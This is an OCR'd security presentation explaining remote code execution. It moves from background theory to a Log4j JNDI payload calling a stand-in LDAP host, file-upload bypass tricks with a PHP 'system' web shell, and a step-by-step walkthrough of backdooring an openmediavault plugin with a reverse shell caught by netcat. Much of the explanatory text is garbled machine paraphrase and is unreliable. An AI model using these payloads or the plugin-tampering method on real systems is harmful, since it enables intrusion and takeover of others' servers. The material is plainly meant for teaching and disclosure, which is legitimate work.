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What is RCE (Remote Code Execution)?

* Remote Code Execution or execution, also known as Arbitrary Code Execution, is a concept that describes a
form of cyberattack in which the attacker can solely command the operation of another person's computing

device or computer.
* RCE takes place when malicious malware is downloaded by the host. It's a phenomenon that can affect a

person regardless of the present location of his or her device.
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What is RCE (Remote Code Execution)?

* Remote Code Execution is used to expose a form of vulnerability that can be exploited when user input is
injected into a file or string and the entire package is run on the parser of the programming language. This is
not the type of behavior that is exhibited by the developer of the web application.




What is RCE (Remote Code Execution)?

Writing malicious scripts v

Injecting malicious code

& s to web server

Attacker Malicious code Website

Return error message Malicious script

to attacker may get executed

* A Remote Code Execution Attack can lead to a full-scale attack that would compromise an entire web
application and the webserver. RCE could lead also into privilege escalation, network pivoting and establishing

persistence. This is why RCE is always having HIGH/CRITICAL severity. You should also note that virtually all
programming languages have different code evaluation functions.



What is RCE (Remote Code Execution)?

Top Attack Types in Q2 2020

Spam

Backdoor/Trojan
Remote Code

SQL Injection

File Upload

Path Traversal

Cross Site Scripting

* A code evaluation may also occur if you allow user inputs to gain access to functions that are evaluating code in
the same programming language. This type of measure may be purposely implemented to gain access to the
mathematical functions of the programming language or by accident because the user-controlled input is
designed by the developer to be inside any of these functions. It is not advisable to carry out this line of action.
Many people find it malicious to even use code evaluation.



What is RCE (Remote Code Execution)?

Arranging Remote Code Execution by Origin

The majority of the distinguished RCE weaknesses are because of certain basic causes that can be followed
back to its starting point. The grouping of Remote Code Execution by beginning is examined as follows.

Dynamic Code Execution

Dynamic Code Execution is by all accounts the most widely recognized basic reason that prompts a code
execution assault. Many programming dialects are planned to such an extent that they can produce code
with another code and execute it right away. This idea is an amazing one that handles various complex
issues. Be that as it may, a malevolent assailant can control this idea to acquire RCE access and capacities.



What is RCE (Remote Code Execution)?

Ordinarily, the code produced quickly depends on certain client input.
Customarily, the code incorporates the information that has been
remembered for a specific structure. When a malignant aggressor
understands that the powerful code age will utilize certain information, it
could make a substantial code as a type of access to separate the

application. If the contributions of clients are not examined, the code will
be executed on its objective.

At the point when you choose to look carefully, dynamic code execution

is answerable for two kinds of RCE-based assaults: immediate and
circuitous.




What is RCE (Remote Code Execution)?

Direct

When managing an illustration of direct unique tribute execution, the aggressor realizes that their feedback
would be utilized to produce code.

Indirect

In an aberrant way, it's worried about the powerful code age with client inputs. The client input is typically
subject to at least one layer. A portion of the layers might be answerable for changing the contribution
before it winds up with dynamic code age. Additionally, dynamic code age might be a subsequent impact
and not the immediate utilization of the info. That is the reason it may not be clear to the client that is giving
the info that will fill in as a structure block in a code scrap that would be executed distantly.



What is RCE (Remote Code Execution)?

Deserialization

Deserialization is an incredible guide to depict the present circumstance. No powerful code age ought to
occur during deserialization. Intermittently, this is the situation that happens when the serialized object
contains crude information fields or objects of a comparable sort. Things become more confounded when
the elements of the article are serialized. Deserialization would likewise incorporate some degree of dynamic

code execution.

It might seem like powerful dialects are the only ones influenced by work serialization. Provided that this is
true, the issue would be very restricted. Be that as it may, this situation is very helpful in static dialects as
well. It's harder to accomplish with the static language yet it's certainly not feasible.



What is RCE (Remote Code Execution)?

Intermittently, the execution of this idea manages deserialization-produced intermediary capacities. Age
objects at runtime are just conceivable with dynamic code age. This implies that if the information that will
be deserialized is made in a solicitation made distantly, a malevolent assailant could commandeer and adjust
it. All around planned code bits could likewise be acquainted with stunt the powerful code age to execute
the capacity when it's incorporated as a piece of the deserialization.

Memory Safety




What is RCE (Remote Code Execution)?
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In any case, the working framework and
equipment depend on memory to store
executable code. Metadata identifying with code
execution is kept in the memory. Accessing this
piece of the memory could prompt ACE and RCE.
In this way, what are a portion of the reasons for
memory wellbeing issues?

One more basic reason for RCE assaults identifies with
memory security or APl security. Memory wellbeing
alludes to the counteraction of code from getting to
fundamental pieces of memory that it didn't instate. It's
ordinary to expect that a lack of memory security would
result in unauthorized information access.




What is RCE (Remote Code Execution)?

The imperfections of the product's plan

Imperfections in the product configuration are a
type of memory wellbeing weakness that
happens where there's a planning mistake in a
specific hidden part. Intermittently, the
shortcoming part could be a compiler, translator,
virtual machine, or even the working framework
portion or library. There are various blemishes in
this class. A portion of the incorporate.




What is RCE (Remote Code Execution)?

Buffer Overflow

Buffer overflow can be utilized to allude to a basic and famous
method that is utilized to break memory wellbeing. This assault takes
advantage of a specific plan blemish or a bug to keep in touch with
the memory cells that are situated toward the finish of the memory
cushion. The support would get gotten back from an authentic call to
public API. Nonetheless, cradle just alludes to a starting place threat is
utilized to register the actual memory locations of a specific article or
program counter. Their separation from the cradle is notable or can
undoubtedly be speculated. Investigating the code whenever made
accessible or troubleshooting the whole program execution at
runtime may end up being useful to an aggressor who needs to look
into relative positions.




What is RCE (Remote Code Execution)?

This implies that a cradle flood would permit the to some degree unavailable memory to be altered. The
cradle might be found in the location space of one more machine and it will be changed by calling a distant
API. This will make admittance to the memory of the remote machine. There are numerous approaches to
utilize this sort of access in making an RCE double-dealing. There's an overall suspicion that assuming there
is a cushion flood weakness, an RCE-based assault isn't off the cards. This implies that code proprietors are
relied upon to promptly fix their support floods before an RCE assault happens.



What is RCE (Remote Code Execution)?

Equipment Design Flaws

Memory wellbeing assaults can likewise be because of equipment configuration blemishes. They are not as
normal as programming assaults and are much harder to recognize. Yet, this kind of assault hugely affects
the framework.
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Example of RCE vulnerability

Let’s take a look at an example of a code evaluation attack.

It’s may seem like a better idea to have dynamically generated variable names for each user and store
their registration date. This is an example of how you can do it’s done in PHP

L("\&5user = ‘Sregdate’);

* The PHP code that’s generated would
eate a name like this: ) resemble this:

cng as the username is contrelled by the user’s input, an attacker may

* You can now see that the variable is referred to as x but has the value of y. When the attacker can assign
another value to the variable, he will be able to create a new command by using a semicolon (;). He can
now fill in the rest f the string. This way, he will not get any syntax errors in his work. As soon as he
executes this code, the output of phpinfo would be displayed on the page. You should always
remember that it is possible in PHP and other languages with features that can assess input.



Part Two

RCE In a
nutshell




RCE in a nutshell

Writing malicious Scripts l( Inject script into web

o]

Web site
Attacker

Return error message to

attackers [:'

Malicious script may get execute

Server 66

GeeksforGeeks

* Allows to remotely execute codes Sensitive information disclosure, DoS, -+ Deserialization Attacks
of attacker’s choice mining, ransomware attacks.

* Log4l, F5 BIG-IP RCE... e Qut-of-Bounds Write * Injection Attacks



RCE in a nutshell: an example

The log4j JNDI Attack

and how to prevent it

An attacker inserts the JNDI lookup in a The string is passed to l0g4j

log4j interpolates the string and
header field that is likely to be logged. for logging

queries the malicious LDAP server.
9 @7

GET /test HTTP/1.1 HTTP ${jndi:ldap://evil.xa/x} ldap://evil.xa/x
Host: victim.xa

User-Agent: ${jndi:ldap://evil.xa/x} 0 DISABLE JNDI LOOKUPS

&) BLOCK WITH WAF
€ PATCH LOG4

Attacker Vulnerable Server Vulnerable log4j Malicious LDAP Server
http://victim.xa implementation Idap://evil.xa

&
— A —0— IE —9—>E

€ DISABLE LOG4)

€ DISABLE
REMOTE 2
CODEBASES \l, '
e® |
public class Malicious implements Serializable { dn:

oo javaClassName: Malicious
S“”i&ihﬂochOW1cmm> javaCodebase: http://evil.xa
] javaSerializedData: <...>

}

The LDAP server responds with director
JAVA deserializes (or downloads) the P 4

b . information that contains the malicious
malicious Java class and executes it. Java class

Log4j JNDI library (CVE-2021-44228)

Image source: https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/
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File upload methods



File upload manipulations

OWARSP

Open Web Application
Security Project

Unrestricted File Upload
Uploaded files represent a significant risk to applications. The first step in many attacks is to get

some code to the system to be attacked. Then the attack only needs to find a way to get the
code executed. Using a file upload helps the attacker accomplish the first step.

The consequences of unrestricted file upload can vary, including complete system takeover, an
overloaded file system or database, forwarding attacks to back-end systems, client-side
attacks, or simple defacement. It depends on what the application does with the uploaded file
and especially where it is stored.




File upload Methods

Bypass file extension check

Blacklist bypass:
* pHp, .pHP2, pHP3...
e test.php%0a
e test.php%00

Whitelist bypass:

* test.php.jpg
* test.php\x00.jpg

* Adding GIF893;

1 GIF89a;
2 < system

/P Request to http;//172.20.10.10:80

Forward Drop Intercept is on

Raw Hex

—————— VebKitFormBoundaryVko3BrEoulZ3LWFEK

Open Browser

Content-Disposition: form-data; name="service"

= Plugin
—————— VebKitFormBoundaryVko3BrEoulZ3LWFK

Content-Disposition: form-data; name="method"

3 upload
} =——=—=—==WebKitFormBoundaryVko3BrKoulZ3LWFK

Content-Disposition: form-data; name="params"

—————— VebEKitFormBoundaryVko3BrEoulZ3LWFEK
C
) Content-Type: text/plain

<?php system(§ GET['cmd']) ?>

] —————— WebKitFormBoundaryVko3BrKoulZ3LWFE--

—————— VebKitFormBoundaryVko3BrKoulZ3LWFK
Content-Disposition: form-data; name="file";
Content-Type: text/plain

<?php system(§ GET['cmd']) ?>

—————— VebKitFormBoundaryVko3BrEKoulZ3LWFE--

ontent-Disposition: form-data; name="file'";

filename="shell.php.ipg"

filename="shell.phpS/




File upload example @wordpress

As it is known, the theme can be
uploaded to the system via WordPress
as a plugin zip. And as a frequently used
method, malicious code can be run by
adding a malicious file to the zip and
accessing the theme or plugin
installation path. Apart from that, we
will explain how the situation is in other
compress data and how to bypass the
measures taken.

# Posts
*“t:]..uu"-“j
L. Pages Plugins extend and expand the functionality of WordPress. Y
R hello-dolly.1.7.2.zip
¥ Comments & | | |
File Commands Tools Favorites Options Help
ik i — = g : —
L WooCommerce e 'G L ED Um /4 \ @ @ &
o Add  ExtractTo  Test View Delete Find Wizard Info VirusScan Comment
& Products |
|
)\ ADDOOFONCQ Name Packed Type
- File folder
‘ Plugins . | evil.php 3 PHP File
| hello.php PHP File
Installed Plugins | readme.txt 327 Text Docu
Add New
Edrtor
’
- Users
v Compatible with y
/ Tools
5l Settings

http://target/wp-content/plugins/hello-dolly/evil.php
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&=|openmediavault

en network attached storage solution



What is OMV used for?

What is openmediavault?

openmediavault is the next generation network attached storage (NAS) solution based on
Debian Linux. It contains services like SSH, (S)FTP, SMB/CIFS, DAAP media server, RSync,
BitTorrent client and many more. Thanks to the modular design of the framework it can be
enhanced via plugins.

openmediavault is primarily designed to be used in small offices or home offices, but is not
limited to those scenarios. It is a simple and easy to use out-of-the-box solution that will allow
everyone to install and administrate a Network Attached Storage without deeper knowledge.

[[NDARIPBUIUSAO
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Network-attached storage
Network-attached storage is a file-level computer data storage server connected to a

computer network providing data access to a heterogeneous group of clients. The
term "NAS" can refer to both the technology and systems involved, or a specialized
device built for such functionality. Wikipedia



https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&ved=2ahUKEwiAsNmq6Lf4AhUnQ_EDHVrkDqIQmhN6BAhlEAI&url=https://en.wikipedia.org/wiki/Network-attached_storage&usg=AOvVaw2YotWiW97mYJ_YwOWW-maK

What is OMV used for?

Network Attached Storage

Network-attached storage

clients

S )

ot Rien e e o 11 1111 O
network

(LN “Switch N

network-attached

Image source: https://cdn.ttgtmedia.com/rms/onlinelmages/network attached storage.jpg




What is OMV used for?

e e o openmediavault is the next generation
network attached storage (NAS) solution
based on Debian Linux. It contains services
like SSH, (S)FTP, SMB/CIFS, DAAP media
server, RSync, BitTorrent client and many
more. Thanks to the modular design of the
framework it can be enhanced via plugins.

e N

. _ openmediavault is primarily designed to be
What Is o PERNIT edlavault? used in small offices or home offices, but is

not limited to those scenarios. It is a simple

openmediavault is the next generation network attached storage (NAS) solution based on Debian Linux. It .
contains services like SSH, (S)FTP, SMB/CIFS, DAAP media server, RSync, BitTorrent client and many more. and easy to use out-of—the-box SOlUtIOﬂ that

Thanks to the modular design of the framework it can be enhanced via plugins. will allow everyone to install and
administrate a Network Attached Storage

openmediavault is primarily designed to be used in small offices or home offices, but is not limited to those .
scenarios. It is a simple and easy to use out-of-the-box solution that will allow everyone to install and WlthOUt deeper knowledge.

administrate a Network Attached Storage without deeper knowledge.




& System

== General Settings

° Date & Time

== Network
Notification
[®)Power Management
¥ Monitoring

Bd Certificates

[@ Scheduled Jobs

¥ Update Management
B Plugins

@ OMV-Extras

Storage

Disks

M SM.AR.T.

S RAID Management
| File Systems

Access Rights Managemen
- User

ax Group

«£ Shared Folders

What is OMV used for?

N Diagnostics

4 Add =

System time
Uptime

Load average
CPU usage

Memory usage

Updates available

Service

NFS

FTP

RSync server
SMB/CIFS

SSH

-
8% Dashboard

Thu 23 Jun 2022 11:42:55 AM CDT

0 days 1 hour 39 minutes 19 seconds

0.20, 0.15, 0.11

0.0%

8.5% of 1.91 GiB

Enabled

Running

Debian Linux OS

Web based
administration

Easy system updates via
Debian package
management

Volume management
Email notifications

File sharing

Extendible via plugins



What is OMV used for?

Explore Pricing & openmediavault

050 View Report (1] View on Map

New Service: Keep track of what you have connected to

openmediavault control panel - raspberrypi [
HTTP/1.1 266 OK

o
Server: nginx ¢ 4958 SYStemS pUbIICIy
Date: Thu, 23 Jun 2022 20:20:15 G
Content-Type: text/html; charset= Can be Seen
Taiwan, Taipei Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: X-OPENMEDIAVAULT-SESS
Expires: Thu, 19 Nov 1981 ©8:52:6(
Germany Cache-Control: no-sto...

France

China openmediavault control panel - mimir [/
Italy _ G ssL !

Issued By:
Korea, Republic of | |- Common Name:

R3

More... Bl Bulgaria, Sofia

|- Organization:
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Some other compressed file types that could be manipulated

? Jenkins

Kontrol Merkezi °*

C:\Users\k3yZ\Documents\userlst-utester. hp\WEB-INF\lib\user1st-utester.jar\

»
. ® Kisiler File Edit View Favorites Tools Help
plugin.deb : -
T I
l REERGI Add  Extract Test Copy Move Delete Info

Q Proje lligkile

Name

8= Dosya Parn
DEBIAN usr var

w» Open Blue

r We Need B«

.deb file

metasploit 4574 2022-
META-INF : 98 2022-06-1902:10
2022-

| ———

C:\Users\k3yZ\Documents\userlst-utester.hpi\WEB-INF\lib\user1st-utester.jar\

Packed Size Modified
022-06-1902:10

022-06-1902:10

.hpi file

docProps

docx_archive

_rels word
ml

kali@kali: ~/Downloads

File Actions Edit View Help

L. zip test.docx

)-[~/Downloads ]
docx_archive

Archive: test.docx

inflating:
inflating:
inflating:
inflating:
inflating:
inflating:
inflating:
inflating:
inflating:
inflating:
inflating:

docx_archive/[Content_Types].xml
docx_archive/_rels/.rels
docx_archive/word/document.xml
docx_archive/word/_rels/document.xml.rels
docx_archive/word/theme/themel.xml
docx_archive/word/settings.xml
docx_archive/word/styles.xml
docx_archive/word/webSettings.xml
docx_archive/word/fontTable.xml
docx_archive/docProps/core.xml
docx_archive/docProps/app.xml

)-[~/Downloads ]

[Content_Types].x

.docx file

 Compressed files

e Not limited to OMV



Preparation of deb file for hash manipulation

kali@kali: ~/Desktop/omv X kali@kali: ~ x kali@kali: ~ x root@kali: /home/kali x kali@kali: ~ x kali@kali: ~

[_—( kali®@ kali)-[~/Desktop/omv]
S

dpkg-deb -7 omvevil.deb omvevilé
= WWW
(kali® kali)-[~/Desktop/omv] . : _
L—s[l File Edit View Go Help

€ 92 P A <« Akii MW Desktop omv omvevile var www

Places

&= Computer

B kali

'@ Documents
'8 Music
'a Pictures

# dpkg-deb -R <deb_file(plugin)>

 Downloading the plugin to be installed
* Any plug-in may work
* Extract deb file

e Not a plugin vulnerability




Preparation of deb file for hash manipulation

kali@kali: ~/Desktop/omv/omvevil6/var/www/openmediavault x kali@kali: ~ x kali@kali: ~ x root@kali: /lhome/kali * kali@kali: ~ x kali@kali: ~ x kali@kali: ~ x

E( kali® kali)-[~/Desktop/omv]
$ dpkg-deb -R omvevil.deb omvevilé

[:—(kaliﬁ}kali)—[~/Desktop/omv}

$ cd /home/kali/Desktop/omv/omvevilé/var/wmw /openmediavault/
[:—(kaliﬁ}kali)-[~/_/omvevi16/var/wwu/openmediavau1t]

$ md5sum shell.php
80f83cd33f32402a37d729b29fbc3158 shell.php

[:—(kaliiikali)-[~/_/omvevil6/var/wwu/openmediavault}
$ [

i) openmediavault — =]
File Edit View Go Help

= P & ¢« Akli MW Desktop omv omvevile var www openmediavault ’
Places k F shellphp

B= Computer - D File Edit Search Options Help

-kall /~/ e e e e e o e e e e e e e e e e e e T e e e e e A B e o e e e S ’

- S shell.ph
P2 Desktop J R2E // Usage
' Trash LIS a=s

am D : // See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
ocuments

@ Music set time limit (0);
Pict $VERSION = "1.0";
s $ip = '192.168.1.57]'; // CHANGE THIS
Bl Videos $port = 1881; // CHANGE THIS
¥ Downloads $chunk size = 1400;

$write a = null;

Devices $serror a = null;
@ File System $shell = 'uname -a; w; id; /bin/sh -i';
Network :gzgr:gn==0(:) ;

* Create your shell file and copy it to /var/www/openmediavault/ directory where OMV webapp goes online
from.

e Get the MD5 hash of your file.



Preparation of deb file for hash manipulation

File Edit View Go Help

€ P & <« Akali W Desktop omv omvevile DEBIAN =
Places

B kali

B Desktop control  [{idSSUMS postinst  postrm  triggers

' ik P mdSsums

§&l Documents File Edit Search Options Help

¥ Music f9c74185f3aefaad05b37d996feedabb usr/sbin/omv-resetperms

§8) Pictures d556644370af0a3935dc7199d36ac31c wusr/sbin/omv-showsharedfolder

B Videos e52a62412cha’73elb42a741bdeaffc8c usr/share/doc/openmediavault-resetperms/changelog.gz

5 d895a24b37e1b587302468dbee643567 usr/share/doc/openmediavault-resetperms/copyright

#&8 Downloads 909b686T57f3T72cf42bce92595c18ae usr/share/lintian/overrides/openmediavault-resetperms
e19415b85ea484826526ddaf99bccdb63 usr/share/openmediavault/datamodels/conf.system.resetperms.json

Devi
e cb5ef6716133ed9b3falb0969193c2c8 usr/share/openmediavault/datamodels/rpc.resetperms.json
ClFﬂeSwnmn 419f54eecch7fb6552245010833d4d4e usr/share/openmediavault/engined/rpc/resetperms.inc
Network dfd01832b3b9a7d7062f3712d65714da var/www/openmediavault/js/omv/module/admin/privilege/sharedfolder/ResetPerms.js
799510621421d6a5adfaa05ea9621920 var/www/openmediavault/js/omv/module/admin/privilege/sharedfolder/ShowSharedFolder.js
[0 Browse Network 80783cd33f32402a37d729b29fbc3158 var/www/openmediavault/shell.php|

 Copy the MD5 hash of your file into “md5sums” file located in “DEBIAN” folder.



Preparation of deb file for hash manipulation

« - C O & 192.168.1.55 w @ K ol B

openmediavault.local =
DEBIAN

& System Check Upload ¥ lasta File Edit View Go He

== General Settings = P A « Ak B Deskt on ymvevilt DEBIAN
Installed Package information

° Date & Time

widliiwgiiici . wpcinvicuiay | / = T . - ) / - r~ places
395 Network Homepage: http://omv-extra np extras-p §
Repository: / &= Computer . . . .
Notification ot
EDPower Management openmediavault-resetperms 5.0 | D control mdSsums  postinst  postrm  triggers
N Reset Permissions esktop
% Monitoring ® 1:sh
B3 Certificates Reset permissions of shared folder. View plugins that are using each shared folder. '3 control
(B scheduled Jobs Size: 7.55 KiB File Edit Search Options Help
O Update Management Maintainer: OpenMediaVault Plugin Developers <plugins@omv-extras.org> Package: openmediavault-resetperms
N Homepage: http v-extras.org/ Version: 5.0
B Plugins Repository: / Architecture: all
FwEEr—— e e T Maintainer: OpenMediaVault Plugin Developers <plugins@omv-extras.org>
dpkg-deb: building package 'openmediavault-resetperms' in ‘omvevil6.deb'. Installed-Size: 52
Depends: openmediavault (>= 5.0)
— -[~/Desktop/omv] Section: net
—$ [ Priority: optional

Homepage: http://omv-extras.org/
Description: Reset Permissions
Reset permissions of shared folder.

View plugins that are using each shared folder.
Plugin-Section: utilities

# dpkg-deb -b <destianation_deb_file(plugin)>

e Compressing malicious plugin to deb file.



Injecting and
executing the file
by manipulating
system

Part Six



Injecting and executing the file by manipulating system

&« > C O & 192.168.1.55 w @ K, e /@

== Openmediavault

The open network attached storage solution

# System M Plugins openmediavault.local

& System & Check L. Upload +

-

== General Settings
@ Date & Time
z,% Network

= Notification

File A @ power Management
9 Monitoring The plugin enables the ability to create shared folders in the root filesystem.

B9 Certificates

Size: 2.86 KiB
[ ( k.d (® scheduled jobs Maintainer: Volker Theile <volker.theile@openmediava
$ md! :
: https: .0p :
80F83cc Q Update Management Homepage: https://www.openmediavault.org
Repository: openmediavault.org archive/usul

Ls

E( lkali® kali)-[~/Desktop/omv]
$ dpkg-deb omvevilé omvevilé6.deb System lugins openmediavault.loca
dpkg-deb: building package 'openmediavault-resetperms' in 'omvevilé6.deb’.

S O A 192.168.1.55 ks ya -9 /7 9 =

(ks .8 Plugins

Ca "/Jiivllic/ natl; Ucon LUPy Viliv/

v

E( lkali® kali)-[~/Desktop/omv]
1

openmediavault-resetperms 5.0

Reset Permissions

Reset permissions of shared folder. View plugins that are using each shared folder.

Uploading the malicious plugin



Injecting and executing the file by manipulating system

(o e Ji i ) O A& 192.168.1.55 <o O O T O /@

openmediavault.local
& sSystem i 1
%= General Settings
Installed

° Date & Time

595 Network
Notification

@) power Management
* Monitoring
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e Installing malicious plugin
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Part Seven



Remote access to the web application system

- openmediavault control | X  +

< - X @ Q' 172.20.10.11/shell.php

KaliLinux # KaliTools <« KaliDocs N KaliForums e\ Kali NetHunter = Exploit-DB * Google Hacking DB '' OffSec

Al kali@kali: ~/Downloads
File Actions Edit View Help

[:—(kal’?Zkali)-:~/Dounloads:

$ nc -1 1234

listening on [any] 1234

Warning: forward host lookup failed for 172.20.nate.com: Unknown host

connect to [172.20.10.9] from 172.20.nate.com [172.20.10.11] 43038

Linux openmediavault 5.10.0-0.bpo.8-amd64 #1 SMP Debian 5.10.46-4~bpol10+1 (2021-08-0
12:54:48 up 1:51, O users, load average: 0.25, 0.10, 0.03

USER TTY FROM LOGIN®@ IDLE JCPU PCPU WHAT

uid=999(openmediavault-webgui) gid=996(openmediavault-webgui) groups=996(openmediava
)

/bin/sh: @: can't access tty; job control turned off

$ whoami

openmediavault-webguil

$ pwd
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e Calling our file to get the shell.



THANK YOU FOR YOUR ATTENTION!

Contact us at:

https://www.linkedin.com/in/ozanyigen/

https://www.linkedin.com/in/temel-demir/
https://www.linkedin.com/in/okey/



